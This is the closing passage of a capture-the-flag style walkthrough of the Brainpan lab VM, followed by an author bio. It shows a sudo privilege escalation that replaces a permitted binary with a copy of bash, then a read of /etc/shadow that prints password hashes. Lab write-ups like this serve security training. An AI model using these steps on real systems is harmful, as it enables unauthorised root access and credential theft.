$ mv anansi_util anansi_util.bak mv anansi_util anansi_util.bak $ cp /bin/bash anansi_util cp /bin/bash anansi_util $ sudo ./anansi_util sudo ./anansi_util root@brainpan:/home/anansi/bin# id id uid=0(root) gid=0(root) groups=0(root)
Once I was root, I was able to grab the flag file, and finish up this VM.
root@brainpan:~# cat b.txt cat b.txt _| _| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _| _| _|_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _| _| _| http://www.techorganic.com
And, as usual, I grabbed the shadow file for possible future consumption.
root@brainpan:~# cat /etc/shadow cat /etc/shadow root:$6$m20VT7lw$172.XYFP3mb9Fbp/IgxPQJJKDgdOhg34jZD5sxVMIx3dKq.DBwv.mw3HgCmRd0QcN4TCzaUtmx4C5DvZaDioh0:15768:0:99999:7::: daemon:*:15768:0:99999:7::: bin:*:15768:0:99999:7::: sys:*:15768:0:99999:7::: sync:*:15768:0:99999:7::: games:*:15768:0:99999:7::: man:*:15768:0:99999:7::: lp:*:15768:0:99999:7::: mail:*:15768:0:99999:7::: news:*:15768:0:99999:7::: uucp:*:15768:0:99999:7::: proxy:*:15768:0:99999:7::: www-data:*:15768:0:99999:7::: backup:*:15768:0:99999:7::: list:*:15768:0:99999:7::: irc:*:15768:0:99999:7::: gnats:*:15768:0:99999:7::: nobody:*:15768:0:99999:7::: libuuid:!:15768:0:99999:7::: syslog:*:15768:0:99999:7::: messagebus:*:15768:0:99999:7::: reynard:$6$h54J.qxd$yL5md3J4dONwNl.36iA.mkcabQqRMmeZ0VFKxIVpXeNpfK.mvmYpYsx8W0Xq02zH8bqo2K.mkQzz55U2H5kUh1:15768:0:99999:7::: anansi:$6$hblZftkV$vmZoctRs1nmcdQCk5gjlmcLUb18xvJa3efaU6cpw9hoOXC/kHupYqQ2qz5O.ekVE.SwMfvRnf.QcB1lyDGIPE1:15768:0:99999:7::: puck:$6$A/mZxJX0$Zmgb3T6SAq.FxO1gEmbIcBF9Oi7q2eAi0TMMqOhg0pjdgDjBr0p2NBpIRqs4OIEZB4op6ueK888lhO7gc.27g1:15768:0:99999:7:::
Definitely an enjoyable VM with a few different custom exploits needed. I look forward to finishing up parts 2 and 3 soon, but this is one I’d recommend to people wanting to practice their exploit development for sure.
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.
[…] haven’t done a VulnHub walkthrough since Brainpan, so I figured it was about time for my new […]